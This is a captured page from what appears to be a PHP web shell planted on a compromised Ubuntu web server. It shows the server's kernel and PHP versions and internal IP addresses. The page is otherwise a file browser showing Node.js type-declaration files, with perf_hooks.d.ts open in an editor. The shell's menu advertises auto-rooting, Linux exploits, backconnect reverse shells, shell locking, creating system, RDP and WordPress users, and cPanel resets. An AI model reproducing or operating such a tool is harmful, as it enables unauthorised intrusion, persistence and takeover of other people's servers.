Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
@types /
node /
[ HOME SHELL ]
Name
Size
Permission
Action
LICENSE
1.11
KB
-rwxr-xr-x
README.md
2.24
KB
-rwxr-xr-x
assert.d.ts
4.97
KB
-rwxr-xr-x
async_hooks.d.ts
10.58
KB
-rwxr-xr-x
buffer.d.ts
706
B
-rwxr-xr-x
child_process.d.ts
24.97
KB
-rwxr-xr-x
cluster.d.ts
15.78
KB
-rwxr-xr-x
console.d.ts
51
B
-rwxr-xr-x
constants.d.ts
22.43
KB
-rwxr-xr-x
crypto.d.ts
44.69
KB
-rwxr-xr-x
dgram.d.ts
5.82
KB
-rwxr-xr-x
dns.d.ts
15.86
KB
-rwxr-xr-x
domain.d.ts
547
B
-rwxr-xr-x
events.d.ts
1.83
KB
-rwxr-xr-x
fs.d.ts
135.98
KB
-rwxr-xr-x
globals.d.ts
49.15
KB
-rwxr-xr-x
globals.global.d.ts
55
B
-rwxr-xr-x
http.d.ts
23.57
KB
-rwxr-xr-x
http2.d.ts
55.76
KB
-rwxr-xr-x
https.d.ts
12.14
KB
-rwxr-xr-x
index.d.ts
4.29
KB
-rwxr-xr-x
inspector.d.ts
120.65
KB
-rwxr-xr-x
module.d.ts
56
B
-rwxr-xr-x
net.d.ts
13.21
KB
-rwxr-xr-x
os.d.ts
7.78
KB
-rwxr-xr-x
package.json
5.74
KB
-rwxr-xr-x
path.d.ts
5.85
KB
-rwxr-xr-x
perf_hooks.d.ts
9.71
KB
-rwxr-xr-x
process.d.ts
517
B
-rwxr-xr-x
punycode.d.ts
3.39
KB
-rwxr-xr-x
querystring.d.ts
1.07
KB
-rwxr-xr-x
readline.d.ts
6.98
KB
-rwxr-xr-x
repl.d.ts
17.67
KB
-rwxr-xr-x
stream.d.ts
17.88
KB
-rwxr-xr-x
string_decoder.d.ts
185
B
-rwxr-xr-x
timers.d.ts
826
B
-rwxr-xr-x
tls.d.ts
34.33
KB
-rwxr-xr-x
trace_events.d.ts
2.06
KB
-rwxr-xr-x
tty.d.ts
2.38
KB
-rwxr-xr-x
url.d.ts
4.34
KB
-rwxr-xr-x
util.d.ts
12.06
KB
-rwxr-xr-x
v8.d.ts
6.76
KB
-rwxr-xr-x
vm.d.ts
4.79
KB
-rwxr-xr-x
wasi.d.ts
2.2
KB
-rwxr-xr-x
worker_threads.d.ts
9.49
KB
-rwxr-xr-x
zlib.d.ts
13.92
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : perf_hooks.d.ts
declare module 'perf_hooks' { import { AsyncResource } from 'async_hooks'; interface PerformanceEntry { /** * The total number of milliseconds elapsed for this entry. * This value will not be meaningful for all Performance Entry types. */ readonly duration: number; /** * The name of the performance entry. */ readonly name: string; /** * The high resolution millisecond timestamp marking the starting time of the Performance Entry. */ readonly startTime: number; /** * The type of the performance entry. * Currently it may be one of: 'node', 'mark', 'measure', 'gc', or 'function'. */ readonly entryType: string; /** * When performanceEntry.entryType is equal to 'gc', the performance.kind property identifies * the type of garbage collection operation that occurred. * The value may be one of perf_hooks.constants. */ readonly kind?: number | undefined; } interface PerformanceNodeTiming extends PerformanceEntry { /** * The high resolution millisecond timestamp at which the Node.js process completed bootstrap. * If bootstrapping has not yet finished, the property has the value of -1. */ readonly bootstrapComplete: number; /** * The high resolution millisecond timestamp at which the Node.js process completed bootstrapping. * If bootstrapping has not yet finished, the property has the value of -1. */ readonly environment: number; /** * The high resolution millisecond timestamp at which the Node.js environment was initialized. */ readonly idleTime: number; /** * The high resolution millisecond timestamp at which the Node.js event loop exited. * If the event loop has not yet exited, the property has the value of -1. * It can only have a value of not -1 in a handler of the 'exit' event. */ readonly loopExit: number; /** * The high resolution millisecond timestamp at which the Node.js event loop started. * If the event loop has not yet started (e.g., in the first tick of the main script), the property has the value of -1. */ readonly loopStart: number; /** * The high resolution millisecond timestamp at which the Node.js process was initialized. */ readonly nodeStart: number; /** * The high resolution millisecond timestamp at which the V8 platform was initialized. */ readonly v8Start: number; } interface EventLoopUtilization { idle: number; active: number; utilization: number; } interface Performance { /** * If name is not provided, removes all PerformanceMark objects from the Performance Timeline. * If name is provided, removes only the named mark. * @param name */ clearMarks(name?: string): void; /** * Creates a new PerformanceMark entry in the Performance Timeline. * A PerformanceMark is a subclass of PerformanceEntry whose performanceEntry.entryType is always 'mark', * and whose performanceEntry.duration is always 0. * Performance marks are used to mark specific significant moments in the Performance Timeline. * @param name */ mark(name?: string): void; /** * Creates a new PerformanceMeasure entry in the Performance Timeline. * A PerformanceMeasure is a subclass of PerformanceEntry whose performanceEntry.entryType is always 'measure', * and whose performanceEntry.duration measures the number of milliseconds elapsed since startMark and endMark. * * The startMark argument may identify any existing PerformanceMark in the the Performance Timeline, or may identify * any of the timestamp properties provided by the PerformanceNodeTiming class. If the named startMark does not exist, * then startMark is set to timeOrigin by default. * * The endMark argument must identify any existing PerformanceMark in the the Performance Timeline or any of the timestamp * properties provided by the PerformanceNodeTiming class. If the named endMark does not exist, an error will be thrown. * @param name * @param startMark * @param endMark */ measure(name: string, startMark?: string, endMark?: string): void; /** * An instance of the PerformanceNodeTiming class that provides performance metrics for specific Node.js operational milestones. */ readonly nodeTiming: PerformanceNodeTiming; /** * @return the current high resolution millisecond timestamp */ now(): number; /** * The timeOrigin specifies the high resolution millisecond timestamp from which all performance metric durations are measured. */ readonly timeOrigin: number; /** * Wraps a function within a new function that measures the running time of the wrapped function. * A PerformanceObserver must be subscribed to the 'function' event type in order for the timing details to be accessed. * @param fn */ timerify<T extends (...optionalParams: any[]) => any>(fn: T): T; /** * eventLoopUtilization is similar to CPU utilization except that it is calculated using high precision wall-clock time. * It represents the percentage of time the event loop has spent outside the event loop's event provider (e.g. epoll_wait). * No other CPU idle time is taken into consideration. * * @param util1 The result of a previous call to eventLoopUtilization() * @param util2 The result of a previous call to eventLoopUtilization() prior to util1 */ eventLoopUtilization(util1?: EventLoopUtilization, util2?: EventLoopUtilization): EventLoopUtilization; } interface PerformanceObserverEntryList { /** * @return a list of PerformanceEntry objects in chronological order with respect to performanceEntry.startTime. */ getEntries(): PerformanceEntry[]; /** * @return a list of PerformanceEntry objects in chronological order with respect to performanceEntry.startTime * whose performanceEntry.name is equal to name, and optionally, whose performanceEntry.entryType is equal to type. */ getEntriesByName(name: string, type?: string): PerformanceEntry[]; /** * @return Returns a list of PerformanceEntry objects in chronological order with respect to performanceEntry.startTime * whose performanceEntry.entryType is equal to type. */ getEntriesByType(type: string): PerformanceEntry[]; } type PerformanceObserverCallback = (list: PerformanceObserverEntryList, observer: PerformanceObserver) => void; class PerformanceObserver extends AsyncResource { constructor(callback: PerformanceObserverCallback); /** * Disconnects the PerformanceObserver instance from all notifications. */ disconnect(): void; /** * Subscribes the PerformanceObserver instance to notifications of new PerformanceEntry instances identified by options.entryTypes. * When options.buffered is false, the callback will be invoked once for every PerformanceEntry instance. * Property buffered defaults to false. * @param options */ observe(options: { entryTypes: ReadonlyArray<string>; buffered?: boolean | undefined }): void; } namespace constants { const NODE_PERFORMANCE_GC_MAJOR: number; const NODE_PERFORMANCE_GC_MINOR: number; const NODE_PERFORMANCE_GC_INCREMENTAL: number; const NODE_PERFORMANCE_GC_WEAKCB: number; } const performance: Performance; interface EventLoopMonitorOptions { /** * The sampling rate in milliseconds. * Must be greater than zero. * @default 10 */ resolution?: number | undefined; } interface EventLoopDelayMonitor { /** * Enables the event loop delay sample timer. Returns `true` if the timer was started, `false` if it was already started. */ enable(): boolean; /** * Disables the event loop delay sample timer. Returns `true` if the timer was stopped, `false` if it was already stopped. */ disable(): boolean; /** * Resets the collected histogram data. */ reset(): void; /** * Returns the value at the given percentile. * @param percentile A percentile value between 1 and 100. */ percentile(percentile: number): number; /** * A `Map` object detailing the accumulated percentile distribution. */ readonly percentiles: Map<number, number>; /** * The number of times the event loop delay exceeded the maximum 1 hour eventloop delay threshold. */ readonly exceeds: number; /** * The minimum recorded event loop delay. */ readonly min: number; /** * The maximum recorded event loop delay. */ readonly max: number; /** * The mean of the recorded event loop delays. */ readonly mean: number; /** * The standard deviation of the recorded event loop delays. */ readonly stddev: number; } function monitorEventLoopDelay(options?: EventLoopMonitorOptions): EventLoopDelayMonitor; }
Close
